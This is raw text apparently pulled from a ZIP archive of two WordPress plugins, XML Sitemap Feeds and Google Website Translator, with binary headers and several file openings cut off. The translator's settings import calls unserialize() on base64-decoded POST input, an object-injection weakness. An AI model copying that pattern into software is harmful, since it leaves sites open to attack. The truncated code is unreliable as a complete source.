'meta_key' => '_xmlsf_comment_date' ) ); $wpdb->delete( $wpdb->prefix.'postmeta', array( 'meta_key' => '_xmlsf_priority' ) ); $wpdb->delete( $wpdb->prefix.'postmeta', array( 'meta_key' => '_xmlsf_exclude' ) ); $wpdb->delete( $wpdb->prefix.'postmeta', array( 'meta_key' => '_xmlsf_news_exclude' ) ); // terms meta $wpdb->delete( $wpdb->prefix.'termmeta', array( 'meta_key' => 'term_modified' ) ); // remove transients delete_transient( 'xmlsf_flush_rewrite_rules' ); delete_transient( 'xmlsf_check_static_files' ); // remove plugin settings delete_option('xmlsf_version'); delete_option('xmlsf_sitemaps'); delete_option('xmlsf_post_types'); delete_option('xmlsf_taxonomies'); delete_option('xmlsf_taxonomy_settings'); delete_option('xmlsf_ping'); delete_option('xmlsf_robots'); delete_option('xmlsf_urls'); delete_option('xmlsf_custom_sitemaps'); delete_option('xmlsf_domains'); delete_option('xmlsf_news_tags'); delete_option('xmlsf_images_meta_primed'); delete_option('xmlsf_comments_meta_primed'); // remove filter and flush rules remove_filter( 'rewrite_rules_array', 'xmlsf_rewrite_rules', 99 ); flush_rewrite_rules(); // Kilroy was here if ( defined('WP_DEBUG') && WP_DEBUG ) { if ($blog_id) error_log('XML Sitemap Feeds settings cleared from site '.$blog_id.' on uninstall.'); else error_log('XML Sitemap Feeds settings cleared on uninstall.'); } } } new XMLSitemapFeed_Uninstall(); PK.—[øØNÕ±±xml-sitemap-feed/upgrade.phpnu„[µü¤upgrade( $db_version ); else $this->install(); update_option( 'xmlsf_version', XMLSF_VERSION ); } /* * set up default plugin data * * @since 5.1 */ function install() { $defaults = xmlsf()->defaults(); foreach ( $defaults as $option => $default ) { delete_option( 'xmlsf_'.$option ); if ( in_array( $option, array('ping','robots') ) ) add_option( 'xmlsf_'.$option, $default, null, false ); else add_option( 'xmlsf_'.$option, $default ); } // Kilroy was here if ( defined('WP_DEBUG') && WP_DEBUG ) { error_log('XML Sitemap Feeds version '.XMLSF_VERSION.' installed.'); } } /* * upgrade plugin data * * @since 5.1 */ function upgrade( $db_version ) { global $wpdb; if ( version_compare( '4.4', $db_version, '>' ) ) { // remove robots.txt rules blocking stylesheets if ( $robot_rules = get_option( 'xmlsf_robots' ) ) { $robot_rules = str_replace( array('Disallow: */wp-content/','Allow: */wp-content/uploads/'), '', $robot_rules ); delete_option( 'xmlsf_robots' ); add_option( 'xmlsf_robots', $robot_rules, null, false ); } // make sure custom sitemaps is an array $urls = get_option('xmlsf_custom_sitemaps'); if ( !is_array($urls) ) { $urls = explode( PHP_EOL, $urls ); update_option('xmlsf_custom_sitemaps',$urls); } // register location taxonomies then delete all terms register_taxonomy( 'gn-location-3', null ); $terms = get_terms( 'gn-location-3', array('hide_empty' => false) ); foreach ( $terms as $term ) { wp_delete_term( $term->term_id, 'gn-location-3' ); } register_taxonomy( 'gn-location-2', null ); $terms = get_terms( 'gn-location-2',array( 'hide_empty' => false ) ); foreach ( $terms as $term ) { wp_delete_term( $term->term_id, 'gn-location-2' ); } register_taxonomy( 'gn-location-1', null ); $terms = get_terms( 'gn-location-1',array( 'hide_empty' => false ) ); foreach ( $terms as $term ) { wp_delete_term( $term->term_id, 'gn-location-1' ); } } if ( version_compare( '5.0.1', $db_version, '>' ) ) { // delete all taxonomy terms register_taxonomy( 'gn-genre', null ); $terms = get_terms( 'gn-genre', array( 'hide_empty' => false ) ); if ( is_array( $terms ) ) foreach ( $terms as $term ) wp_delete_term( $term->term_id, 'gn-genre' ); // new taxonomy settings $taxonomies = get_option( 'xmlsf_taxonomies' ); if ( empty($taxonomies) ) { $active = ''; } else { $available = 0; $checked = count($taxonomies); foreach ( (array) get_option( 'xmlsf_post_types' ) as $post_type => $settings ) { if ( empty($settings['active']) ) continue; $taxonomies = get_object_taxonomies( $post_type, 'objects' ); // check each tax public flag and term count and append name to array foreach ( $taxonomies as $taxonomy ) { if ( !empty( $taxonomy->public ) && !in_array( $taxonomy->name, xmlsf()->disabled_taxonomies() ) ) $available++; } } if ( $checked == $available ) update_option( 'xmlsf_taxonomies', '' ); $active = '1'; } $taxonomy_settings = array( 'active' => $active, 'priority' => '0.3', 'dynamic_priority' => '1', 'term_limit' => '5000' ); add_option( 'xmlsf_taxonomy_settings', $taxonomy_settings ); // update ping option $ping = get_option( 'xmlsf_ping' ); $new = array( 'google', 'bing' ); if ( is_array($ping) ) { foreach ( $ping as $key => $value ) { if ( is_array($value) && empty( $value['active'] ) && isset( $new[$key] ) ) { unset( $new[$key] ); } } } update_option( 'xmlsf_ping', $new, false ); // make sure no pong option remains delete_option( 'xmlsf_pong'); // update or create robots option $robots = get_option( 'xmlsf_robots', '' ); delete_option( 'xmlsf_robots'); add_option( 'xmlsf_robots', $robots, null, false ); } if ( version_compare( '5.0.2', $db_version, '>' ) ) { $defaults = xmlsf()->defaults(); foreach ( $defaults as $option => $default ) { if ( get_option( 'xmlsf_'.$option ) ) continue; if ( in_array( $option, array('ping','robots') ) ) add_option( 'xmlsf_'.$option, $default, null, false ); else add_option( 'xmlsf_'.$option, $default ); } delete_option( 'xmlsf_version' ); } if ( version_compare( '5.1', $db_version, '>' ) ) { delete_transient('xmlsf_ping_google_sitemap_news'); delete_transient('xmlsf_ping_google_sitemap'); delete_transient('xmlsf_ping_bing_sitemap'); } if ( version_compare( '5.2', $db_version, '>' ) ) { // remove term meta term_modified_gmt $wpdb->delete( $wpdb->prefix.'termmeta', array( 'meta_key' => 'term_modified_gmt' ) ); } if ( defined('WP_DEBUG') && WP_DEBUG ) { error_log('XML Sitemap Feeds upgraded from '.$db_version.' to '.XMLSF_VERSION); } } } PK.—[f7é3,, xml-sitemap-feed/xml-sitemap.phpnu„[µü¤tip for continued development and support. Thanks :) Version: 5.2.6 Text Domain: xml-sitemap-feed Requires at least: 4.6 Requires PHP: 5.4 Author: RavanH Author URI: http://status301.net/ */ define( 'XMLSF_VERSION', '5.2.6' ); /* Copyright 2019 RavanH http://status301.net/ mailto: ravanhagen@gmail.com This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License version 3 as published by the Free Software Foundation. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. */ /* -------------------- * AVAILABLE HOOKS * -------------------- * * FILTERS * xmlsf_defaults -> Filters the default array values for different option groups. * xmlsf_allowed_domain -> Filters the response when checking the url against allowed domains. * Passes variable $url; must return true or false. * xmlsf_excluded -> Filters the response when checking the post for exclusion flags in * XML Sitemap context. Passes variable $post_id; must return true or false. * xmlsf_news_excluded -> Filters the response when checking the post for exclusion flags in * Google News sitemap context. Passes variable $post_id; must return true or false. * xmlsf_news_keywords -> Filters the news keywords array * xmlsf_news_stock_tickers -> Filters the news stock tickers array * xmlsf_disabled_taxonomies -> Filters the taxonomies that should be unavailable for sitemaps * Passes an array of taxonomies to exclude; must return an array. * the_title_xmlsitemap -> Filters the Google News publication name and title, plus * the Image title and caption tags. * xmlsf_custom_urls -> Filters the custom urls array * xmlsf_custom_sitemaps -> Filters the custom sitemaps array * xmlsf_post_language -> Filters the post language tag used in the news sitemap. * Passes variable $post_id; must return a 2 or 3 letter * language ISO 639 code with the exception of zh-cn and zh-tw. * xmlsf_post_types -> Filters the post types array for the XML sitemaps index. * xmlsf_post_priority -> Filters a post priority value. Passes variables $priority and $post->ID. * Must return a float value between 0.1 and 1.0 * xmlsf_term_priority -> Filters a taxonomy term priority value. Passes variables $priority and $term->slug. * Must return a float value between 0.1 and 1.0 * xmlsf_news_post_types -> Filters the post types array for the Google News sitemap settings page. * * ACTIONS * xmlsf_ping -> Fires hen a search engine has been pinged. Carries four arguments: * search engine (google|bing), sitemap name, full ping url, ping repsonse code. * xmlsf_tags_after -> Fired inside the XML Sitemap loop at the end of the tags, * just before each closing is generated. Can be used to * echo custom tags or trigger another action in the background. * xmlsf_url_after -> Fired inside the XML Sitemap loop after each url node. * Can be used to append alternative url or trigger another action in the background. * xmlsf_news_tags_after -> Fired inside the Google News Sitemap loop at the end of the news * tags, just before each closing is generated. Can be used to * echo custom tags or trigger another action in the background. * xmlsf_news_url_after -> Fired inside the Google News Sitemap loop after each news url node. * Can be used to append alternative url or trigger another action in the background. * xmlsf_news_settings_before -> Fired before the Google News Sitemap settings form * xmlsf_news_settings_after -> Fired after the Google News Sitemap settings form * * -------------------- * AVAILABLE FUNCTIONS * -------------------- * * is_sitemap() -> conditional, returns bolean, true if the request is for an xml sitemap * is_news() -> conditional, returns bolean, true if the request is for an xml news sitemap * * Feel free to request, suggest or submit more :) */ if ( ! defined( 'WPINC' ) ) die; define( 'XMLSF_DIR', dirname(__FILE__) ); define( 'XMLSF_BASENAME', plugin_basename(__FILE__) ); require XMLSF_DIR . '/models/functions.php'; require XMLSF_DIR . '/controllers/functions.php'; if ( is_admin() ) { require XMLSF_DIR . '/controllers/class.xmlsf-admin.php'; } // main plugin init add_action( 'init', 'xmlsf_init' ); // add rewrite rules add_filter( 'rewrite_rules_array', 'xmlsf_rewrite_rules', 99, 1 ); register_activation_hook( __FILE__, 'xmlsf_activate' ); register_deactivation_hook( __FILE__, 'xmlsf_deactivate' ); PK.—[»%¦H‡1‡11google-website-translator/classes/admin.class.phpnu„[µü¤ $_tabs[$i] == $current, 'tag' => $_tabs[$i] . '.show' ); } else for ($j=0; $jrender(array( 'type' => 'file', 'content' => '/admin/main_form.tpl', 'meta_tag_rules' => self::_gen_meta_tag_rules_for_tabs() )); } protected static function _select_language() { load_plugin_textdomain('prisna-gwt', false, dirname(plugin_basename(__FILE__)) . '/../languages'); } } class PrisnaGWTAdminBaseForm extends PrisnaGWTItem { public $title_message; public $saved_message; public $save_button_message; public $reset_message; public $reset_button_message; public $reseted_message; protected $_fields; public function __construct() { $this->title_message = __('Google Website Translator', 'prisna-gwt'); $this->saved_message = __('Settings saved.', 'prisna-gwt'); $this->reseted_message = __('Settings reseted.', 'prisna-gwt'); $this->reset_message = __('All the settings will be reseted and restored to their default values. Do you want to continue?', 'prisna-gwt'); $this->save_button_message = __('Save changes', 'prisna-gwt'); $this->reset_button_message = __('Reset settings', 'prisna-gwt'); } public static function commit($_name, $_result) { self::_commit($_name, $_result); } protected static function _commit($_name, $_result) { if (!get_option($_name)) add_option($_name, $_result); else update_option($_name, $_result); if (!get_option($_name)) { delete_option($_name); add_option($_name, $_result); } } public function render($_options, $_html_encode=false) { return parent::render($_options, $_html_encode); } protected function _prepare_settings() {} protected function _set_fields() {} } class PrisnaGWTAdminForm extends PrisnaGWTAdminBaseForm { public $group_0; public $group_1; public $group_2; public $group_3; public $group_4; public $nonce; public $tab; public $tab_2; public $general_message; public $advanced_message; public $advanced_general_message; public $advanced_import_export_message; public $premium_message; public $advanced_import_success_message; public $advanced_import_fail_message; public $wp_version_check_fail_message; protected static $_imported_status; public function __construct() { parent::__construct(); $this->general_message = __('General', 'prisna-gwt'); $this->advanced_message = __('Advanced', 'prisna-gwt'); $this->advanced_general_message = __('General', 'prisna-gwt'); $this->premium_message = __('Premium', 'prisna-gwt'); $this->advanced_import_export_message = __('Import / Export', 'prisna-gwt'); $this->advanced_import_success_message = __('Settings succesfully imported.', 'prisna-gwt'); $this->advanced_import_fail_message = __('There was a problem while importing the settings. Please make sure the exported string is complete. Changes weren\'t saved.', 'prisna-gwt'); $this->wp_version_check_fail_message = sprintf(__('Google Website Translator requires WordPress version %s or later.', 'prisna-gwt'), PRISNA_GWT__MINIMUM_WP_VERSION); $this->nonce = wp_nonce_field(PrisnaGWTConfig::getAdminHandle(), '_prisna_gwt_nonce'); $this->_set_fields(); } public static function getImportedStatus() { return self::$_imported_status; } protected static function _set_imported_status($_status) { self::$_imported_status = $_status; } protected static function _import() { $settings = PrisnaGWTConfig::getDefaults(true); $key = $settings['import']['id']; $value = PrisnaGWTCommon::getVariable($key, 'POST'); if ($value === false || PrisnaGWTValidator::isEmpty($value)) return null; $decode = base64_decode($value); if ($decode === false) { self::_set_imported_status(false); return false; } $unserialize = @unserialize($decode); if (!is_array($unserialize)) { self::_set_imported_status(false); return false; } $result = array(); foreach ($settings as $key => $setting) { if (in_array($key, array('import', 'export'))) continue; if (array_key_exists($key, $unserialize)) $result[$key] = $unserialize[$key]; } if (count($result) == 0) { self::_set_imported_status(false); return false; } self::_commit(PrisnaGWTConfig::getDbSettingsName(), $result); self::_set_imported_status(true); return true; } public static function save() { if (!is_null(self::_import())) return; $settings = PrisnaGWTConfig::getDefaults(); $result = array(); foreach ($settings as $key => $setting) { $value = PrisnaGWTCommon::getVariable($setting['id'], 'POST'); switch ($key) { case 'languages': { $value = PrisnaGWTCommon::getVariable(str_replace('languages', 'languages_order', $setting['id']), 'POST'); if ($value !== false) { $value = explode(',', $value); if ($value !== $setting['value']) $result[$key] = array('value' => $value); else unset($result[$key]); } else unset($result[$key]); break; } case 'import': case 'export': { break; } default: { if ($key == 'id' || (PrisnaGWTCommon::endsWith($key, '_class') && $key != 'language_selector_class' && $key != 'translated_to_class')) $value = trim(PrisnaGWTCommon::cleanId($value)); else if ($key == 'translated_to_class') $value = trim(PrisnaGWTCommon::cleanId($value, '-', false)); $unset_template = PrisnaGWTCommon::endsWith($key, '_template') && PrisnaGWTCommon::stripBreakLinesAndTabs($value) == PrisnaGWTCommon::stripBreakLinesAndTabs($setting['value']); if (!$unset_template && $value !== false && $value != $setting['value']) $result[$key] = array('value' => $value); else unset($result[$key]); break; } } } if (array_key_exists('display_mode', $result) && $result['display_mode']['value'] == 'tabbed' && !array_key_exists('banner', $result)) $result['banner'] = array( 'value' => 'false' ); self::_commit(PrisnaGWTConfig::getDbSettingsName(), $result); } public static function reset() { if (get_option(PrisnaGWTConfig::getDbSettingsName())) delete_option(PrisnaGWTConfig::getDbSettingsName()); } public function render($_options, $_html_encode=false) { $this->_prepare_settings(); $is_importing = PrisnaGWTAdminEvents::isSavingSettings() && PrisnaGWTValidator::isBool(self::getImportedStatus()); if (!array_key_exists('meta_tag_rules', $_options)) $_options['meta_tag_rules'] = array(); $_options['meta_tag_rules'][] = array( 'expression' => PrisnaGWTAdminEvents::isSavingSettings() && !$is_importing, 'tag' => 'just_saved' ); $_options['meta_tag_rules'][] = array( 'expression' => $is_importing && self::getImportedStatus(), 'tag' => 'just_imported_success' ); $_options['meta_tag_rules'][] = array( 'expression' => $is_importing && !self::getImportedStatus(), 'tag' => 'just_imported_fail' ); $_options['meta_tag_rules'][] = array( 'expression' => !version_compare($GLOBALS['wp_version'], PRISNA_GWT__MINIMUM_WP_VERSION, '<'), 'tag' => 'wp_version_check' ); $_options['meta_tag_rules'][] = array( 'expression' => PrisnaGWTAdminEvents::isResetingSettings(), 'tag' => 'just_reseted' ); return parent::render($_options, $_html_encode); } protected function _set_fields() { if (is_array($this->_fields)) return; $this->_fields = array(); $settings = PrisnaGWTConfig::getSettings(true); foreach ($settings as $key => $setting) { if (!array_key_exists('type', $setting)) continue; $field_class = 'PrisnaGWT' . ucfirst($setting['type']) . 'Field'; if ($field_class == 'PrisnaGWTField') continue; $this->_fields[$key] = new $field_class($setting); } } protected function _prepare_settings() { $settings = PrisnaGWTConfig::getSettings(); $groups = 4; for ($i=1; $i<$groups+1; $i++) { $partial = array(); foreach ($this->_fields as $key => $field) { if ($field->group == $i) { $field->satisfyDependence($this->_fields); $partial[] = $field->output(); } } $group = 'group_' . $i; $this->{$group} = implode("\n", $partial); } $tab = PrisnaGWTCommon::getVariable('prisna_tab', 'POST'); $this->tab = $tab !== false ? $tab : ''; $tab_2 = PrisnaGWTCommon::getVariable('prisna_tab_2', 'POST'); $this->tab_2 = $tab_2 !== false ? $tab_2 : ''; } } class PrisnaGWTAdminEvents { public static function isLoadingAdminPage() { return in_array(PrisnaGWTCommon::getVariable('page', 'GET'), array(PrisnaGWTConfig::getAdminHandle())); } public static function isSavingSettings() { return PrisnaGWTCommon::getVariable('prisna_gwt_admin_action', 'POST') === 'prisna_gwt_save_settings'; } public static function isResetingSettings() { return PrisnaGWTCommon::getVariable('prisna_gwt_admin_action', 'POST') === 'prisna_gwt_reset_settings'; } } PrisnaGWTAdmin::initialize(); ?>PK.—[1 LªD„D„0google-website-translator/classes/base.class.phpnu„[µü¤_properties = $_properties; $this->_set_properties(); } } protected function _set_properties() { $this->setProperties($this->_properties); } public function getProperty($_property, $_html_entities=false) { return !$_html_entities ? $this->{$_property} : htmlentities($this->{$_property}); } public function setProperties($_properties) { if (!is_null($_properties)) foreach($_properties as $property => $value) $this->setProperty($property, $value); } public function setProperty($_property, $_value) { return $this->{$_property} = $_value; } public function render($_options, $_html_encode=false) { if (array_key_exists('extra', $_options)) if (array_key_exists('json', $_options['extra'])) if ($_options['extra']['json']) $this->_json(); if (array_key_exists('extra', $_options)) if (array_key_exists('property', $_options['extra'])) foreach ($_options['extra']['property'] as $property => $value) $this->{$property} = $value; $result = PrisnaGWTCommon::renderObject($this, $_options, $_html_encode); return $result; } protected function _json() { // seems like there is some kind of bug in apache, so the field names have to be grabbed like this $fields = array(); foreach ($this as $property => $value) if (!PrisnaGWTCommon::endsWith($property, '_json')) $fields[] = $property; foreach ($fields as $value) if (substr($value, 0, 1) != '_') $this->setProperty($value . '_json', PrisnaGWTCommon::jsonCompatible($this->getProperty($value))); } } abstract class PrisnaGWTField { public $id; public $option_id; public $value; public $dependence; public $dependence_show_value; public $title_message; public $description_message; public $dependence_count; public $formatted_dependence; public $formatted_dependence_show_value; protected $_dependence; public function __construct($_properties) { $this->_set_properties($_properties); } protected function _set_properties($_properties) { foreach ($_properties as $property => $value) $this->{$property} = $value; } public function satisfyDependence($_fields) { if (PrisnaGWTValidator::isEmpty($this->dependence)) return; $this->_dependence = PrisnaGWTCommon::getArrayItems($this->dependence, $_fields); if (is_null($this->dependence_count)) $this->dependence_count = count($this->_dependence); } protected function _has_dependence() { return !is_null($this->dependence) && !PrisnaGWTValidator::isEmpty($this->dependence); } protected function _dependence_show() { if (!is_array($this->_dependence)) return true; $result = array(); if (is_array($this->dependence_show_value)) { if (count($this->dependence_show_value) == count($this->_dependence)) { $keys = array_keys($this->_dependence); for ($i=0; $i_dependence[$keys[$i]]; if ($field->value == $this->dependence_show_value[$i]) $result[] = $field->id; } return count($result) == count($this->_dependence); } } foreach ($this->_dependence as $field) if (PrisnaGWTCommon::inArray($field->value, $this->dependence_show_value)) $result[] = $field->id; return count($result) == count($this->_dependence); } protected function _get_formatted_dependence() { $result = array(); if (!$this->_has_dependence()) return ''; foreach ($this->_dependence as $field) $result[] = $field->id; return implode(',', $result); } protected function _render($_options, $_html_encode) { $this->formatted_dependence = is_array($this->dependence) ? implode(',', $this->dependence) : $this->dependence; $this->formatted_dependence_show_value = is_array($this->dependence_show_value) ? implode(',', $this->dependence_show_value) : $this->dependence_show_value; $options = $_options; if (!array_key_exists('meta_tag_rules', $options)) $options['meta_tag_rules'] = array(); $options['meta_tag_rules'][] = array( 'expression' => !empty($this->title_message), 'tag' => 'title' ); $options['meta_tag_rules'][] = array( 'expression' => !empty($this->description_message), 'tag' => 'description' ); $options['meta_tag_rules'][] = array( 'expression' => $this->_has_dependence(), 'tag' => 'has_dependence' ); $options['meta_tag_rules'][] = array( 'expression' => $this->_dependence_show(), 'tag' => 'dependence.show' ); $result = PrisnaGWTCommon::renderObject($this, $options, $_html_encode); return $result; } public function output($_html_encode=false) { } public function render($_options, $_html_encode=false) { return $this->_render($_options, $_html_encode); } } class PrisnaGWTColorField extends PrisnaGWTField { public function output($_html_encode=false) { $result = parent::render(array( 'type' => 'file', 'content' => '/admin/color.tpl' ), $_html_encode); return $result; } } class PrisnaGWTTextField extends PrisnaGWTField { public function output($_html_encode=false) { $result = parent::render(array( 'type' => 'file', 'content' => '/admin/text.tpl' ), $_html_encode); return $result; } } class PrisnaGWTPremiumField extends PrisnaGWTField { public $images_path; public function output($_html_encode=false) { $this->images_path = PRISNA_GWT__IMAGES; $result = parent::render(array( 'type' => 'file', 'content' => '/admin/premium.tpl', 'meta_tag_rules' => array( array( 'expression' => time() < strtotime('2016-01-02 00:00:00'), 'tag' => 'banner' ) ) ), $_html_encode); return $result; } } class PrisnaGWTUsageField extends PrisnaGWTField { public function output($_html_encode=false) { $result = parent::render(array( 'type' => 'file', 'content' => '/admin/usage.tpl' ), $_html_encode); return $result; } } class PrisnaGWTHeadingField extends PrisnaGWTField { public $group; public function output($_html_encode=false) { $result = parent::render(array( 'type' => 'file', 'content' => '/admin/heading.tpl', 'meta_tag_rules' => array( array( 'expression' => $this->value == "true", 'tag' => 'value' ), array( 'expression' => !PrisnaGWTValidator::isEmpty($this->description_message), 'tag' => 'description' ) ) ), $_html_encode); return $result; } } class PrisnaGWTHeading2Field extends PrisnaGWTField { public $group; public function output($_html_encode=false) { $result = parent::render(array( 'type' => 'file', 'content' => '/admin/heading_2.tpl', 'meta_tag_rules' => array( array( 'expression' => $this->value == "true", 'tag' => 'value' ), array( 'expression' => !PrisnaGWTValidator::isEmpty($this->description_message), 'tag' => 'description' ) ) ), $_html_encode); return $result; } } class PrisnaGWTSitemapviewField extends PrisnaGWTField { public $xml_url; public $csv_url; public $permalink_structure_empty_message; public function __construct($_properties) { $this->xml_url = PrisnaGWTCommon::getHomeUrl('/' . PrisnaGWTConfig::getSitemapFilename() . '.xml'); $this->csv_url = PrisnaGWTCommon::getHomeUrl('/' . PrisnaGWTConfig::getSitemapFilename() . '.csv'); parent::__construct($_properties); } public function output($_html_encode=false) { $permalink_structure = get_option('permalink_structure'); $result = parent::render(array( 'type' => 'file', 'content' => '/admin/sitemap_view.tpl', 'meta_tag_rules' => array( array( 'expression' => !PrisnaGWTValidator::isEmpty($this->description_message), 'tag' => 'description' ), array( 'expression' => empty($permalink_structure), 'tag' => 'permalink_structure.empty' ) ) ), $_html_encode); return $result; } } class PrisnaGWTRuleField extends PrisnaGWTField { public $priority; public $changefreq; public $lastmod; public $rule; public $priority_formatted; public $changefreq_formatted; public $lastmod_formatted; public $rule_formatted; public $changefreq_message; public $priority_message; public function __construct($_properties) { parent::__construct($_properties); $this->priority = new PrisnaGWTSelectField(array( 'title_message' => '', 'description_message' => '', 'id' => $this->id . '_priority', 'type' => 'select', 'values' => array( '0.1' => '0.1', '0.2' => '0.2', '0.3' => '0.3', '0.4' => '0.4', '0.5' => '0.5', '0.6' => '0.6', '0.7' => '0.7', '0.8' => '0.8', '0.9' => '0.9', '1' => '1' ), 'value' => $this->value['priority'] )); $this->changefreq = new PrisnaGWTSelectField(array( 'title_message' => '', 'description_message' => '', 'id' => $this->id . '_changefreq', 'type' => 'select', 'values' => array( 'always' => PrisnaGWTMessage::get('changefreq_always'), 'hourly' => PrisnaGWTMessage::get('changefreq_hourly'), 'daily' => PrisnaGWTMessage::get('changefreq_daily'), 'weekly' => PrisnaGWTMessage::get('changefreq_weekly'), 'monthly' => PrisnaGWTMessage::get('changefreq_monthly'), 'yearly' => PrisnaGWTMessage::get('changefreq_yearly'), 'never' => PrisnaGWTMessage::get('changefreq_never') ), 'value' => $this->value['changefreq'] )); } public function output($_html_encode=false) { $this->priority_formatted = $this->priority->output('select_raw.tpl'); $this->changefreq_formatted = $this->changefreq->output('select_raw.tpl'); $result = parent::render(array( 'type' => 'file', 'content' => '/admin/rule.tpl', 'meta_tag_rules' => array( array( 'expression' => !PrisnaGWTValidator::isEmpty($this->description_message), 'tag' => 'description' ) ) ), $_html_encode); return $result; } } class PrisnaGWTToggleField extends PrisnaGWTField { public $name; public $value_true; public $option_true; public $value_false; public $option_false; protected function _set_properties($_properties) { foreach ($_properties as $property => $value) $this->{$property} = $value; $this->name = $this->id; $keys = array_keys($_properties['values']); $this->value_true = $keys[0]; $this->option_true = $_properties['values'][$keys[0]]; $this->value_false = $keys[1]; $this->option_false = $_properties['values'][$keys[1]]; } public function output($_html_encode=false) { if (!in_array($this->value, array($this->value_true, $this->value_false))) $this->value = $this->value_true; $result = parent::render(array( 'type' => 'file', 'content' => '/admin/toggle.tpl', 'meta_tag_rules' => array( array( 'expression' => $this->value == $this->value_true, 'tag' => 'value_true.checked' ), array( 'expression' => $this->value == $this->value_false, 'tag' => 'value_false.checked' ) ) ), $_html_encode); return $result; } } class PrisnaGWTRangeField extends PrisnaGWTField { public function output($_html_encode=false) { $result = parent::render(array( 'type' => 'file', 'content' => '/admin/range.tpl' ), $_html_encode); return $result; } } class PrisnaGWTTextareaField extends PrisnaGWTField { public function output($_html_encode=false) { $result = parent::render(array( 'type' => 'file', 'content' => '/admin/textarea.tpl' ), $_html_encode); return $result; } } class PrisnaGWTExportField extends PrisnaGWTField { public function output($_html_encode=false) { $result = parent::render(array( 'type' => 'file', 'content' => '/admin/export.tpl' ), $_html_encode); return $result; } } class PrisnaGWTLanguageOptionField extends PrisnaGWTField { public $base_url; public $value_formatted; public function __construct($_properties) { parent::__construct($_properties); $this->base_url = PRISNA_GWT__IMAGES . '/'; $this->value_formatted = preg_replace('/[^a-zA-Z0-9]+|\s+/', '_', $this->value); } public function output($_html_encode=false) { $result = parent::render(array( 'type' => 'file', 'content' => '/admin/language_option.tpl', 'meta_tag_rules' => array( array( 'expression' => $this->checked, 'tag' => 'checked' ) ) ), $_html_encode); return $result; } } class PrisnaGWTLanguageOrderOptionField extends PrisnaGWTField { public $base_url; public $value_formatted; public function __construct($_properties) { parent::__construct($_properties); $this->base_url = PRISNA_GWT__IMAGES . '/'; $this->value_formatted = preg_replace('/[^a-zA-Z0-9]+|\s+/', '_', $this->value); } public function output($_html_encode=false) { $result = parent::render(array( 'type' => 'file', 'content' => '/admin/language_order_option.tpl' ), $_html_encode); return $result; } } class PrisnaGWTLanguageField extends PrisnaGWTField { public $title_order_message; public $description_order_message; public $collection_formatted; public $collection_order_formatted; public $value_order; public $enable_order; public $columns; protected $_collections; protected $_collection_order; public function __construct($_properties) { $this->_set_properties($_properties); $this->_set_options(); $this->_set_order_options(); } protected function _set_options() { $this->_collections = array(); for ($i=0; $i<$this->columns; $i++) $this->_collections[$i] = new PrisnaGWTItemCollection(); $top = ceil(count($this->values) / $this->columns); $count = 0; foreach ($this->values as $key => $value) { $group = intval($count / $top); $this->_collections[$group]->add(new PrisnaGWTLanguageOptionField((object) array( 'id' => PrisnaGWTCommon::cleanId($this->id . '_' . $key, '_'), 'name' => $this->id, 'checked' => is_array($this->value) ? in_array((string) $key, $this->value, true) : false, 'option' => $key, 'value' => $value )), $key); $count++; } } protected function _set_order_options() { if (!$this->enable_order) return; $this->value_order = is_array($this->value) ? implode(',', $this->value) : $this->value; $this->_collection_order = new PrisnaGWTItemCollection(); $values = is_array($this->value) ? $this->value : array($this->value); $items = array(); foreach ($this->values as $key => $value) { if (!in_array((string) $key, $values, true)) continue; $items[array_search($key, $values)] = new PrisnaGWTLanguageOrderOptionField((object) array( 'id' => PrisnaGWTCommon::cleanId($this->id . '_order_' . $key, '_'), 'option' => $key, 'value' => $value )); } ksort($items); foreach ($items as $key => $item) $this->_collection_order->add($item, $key); } public function output($_html_encode=false) { $this->collection_formatted = ''; foreach ($this->_collections as $collection) $this->collection_formatted .= $collection->render(array( 'type' => 'file', 'content' => '/admin/language_option_group.tpl' ), $_html_encode); if ($this->enable_order) $this->collection_order_formatted = $this->_collection_order->render(array( 'type' => 'file', 'content' => '/admin/language_order_option_group.tpl' ), $_html_encode); $result = parent::render(array( 'type' => 'file', 'content' => '/admin/language.tpl', 'meta_tag_rules' => array( array( 'expression' => $this->enable_order, 'tag' => 'order.show' ) ) ), $_html_encode); return $result; } } class PrisnaGWTCheckboxOptionField extends PrisnaGWTField { public function output($_html_encode=false) { $result = parent::render(array( 'type' => 'file', 'content' => '/admin/Checkbox_option.tpl', 'meta_tag_rules' => array( array( 'expression' => $this->checked, 'tag' => 'checked' ) ) ), $_html_encode); return $result; } } class PrisnaGWTCheckboxField extends PrisnaGWTField { public $collection_formatted; protected $collection; public function __construct($_properties) { $this->_set_properties($_properties); $this->_set_options(); } protected function _set_options() { $this->collection = new PrisnaGWTItemCollection(); foreach ($this->values as $key => $value) { $this->collection->add(new PrisnaGWTCheckboxOptionField((object) array( 'id' => PrisnaGWTCommon::cleanId($this->id . '_' . $key, '_'), 'name' => $this->id, 'checked' => is_array($this->value) ? in_array((string) $key, $this->value, true) : false, 'option' => $key, 'value' => $value )), $key); } } public function output($_html_encode=false) { $this->collection_formatted = $this->collection->render(array( 'type' => 'html', 'content' => '{{ collection }}' ), $_html_encode); $result = parent::render(array( 'type' => 'file', 'content' => '/admin/checkbox.tpl' ), $_html_encode); return $result; } } class PrisnaGWTExcategoryField extends PrisnaGWTExclitemField { public function __construct($_properties) { parent::__construct($_properties, 'category'); } } class PrisnaGWTExpageField extends PrisnaGWTExclitemField { public function __construct($_properties) { parent::__construct($_properties, 'page'); } } class PrisnaGWTExpostField extends PrisnaGWTExclitemField { public function __construct($_properties) { parent::__construct($_properties, 'post'); } } class PrisnaGWTExclitemOptionField extends PrisnaGWTField { public function output($_html_encode=false) { $result = parent::render(array( 'type' => 'file', 'content' => '/admin/exclude_item_option.tpl', 'meta_tag_rules' => array( array( 'expression' => $this->checked, 'tag' => 'checked' ), array( 'expression' => $this->indent != 0, 'tag' => 'indent' ) ) ), $_html_encode); return $result; } } class PrisnaGWTExclitemField extends PrisnaGWTCheckboxField { public $values; protected $_items; protected $_kind; public function __construct($_properties, $_kind) { $this->_kind = $_kind; $this->_set_properties($_properties); $this->_gen_values(); $this->_set_options(); } protected function _gen_items() { $this->_items = array(); switch ($this->_kind) { case 'page': { $temp = get_pages(); break; } case 'post': { $temp = get_posts(); break; } case 'category': { $temp = get_categories(array( 'hide_empty' => 0 )); break; } default: { return; break; } } switch ($this->_kind) { case 'post': case 'page': { foreach ($temp as $item) $this->_items[$item->ID] = array( 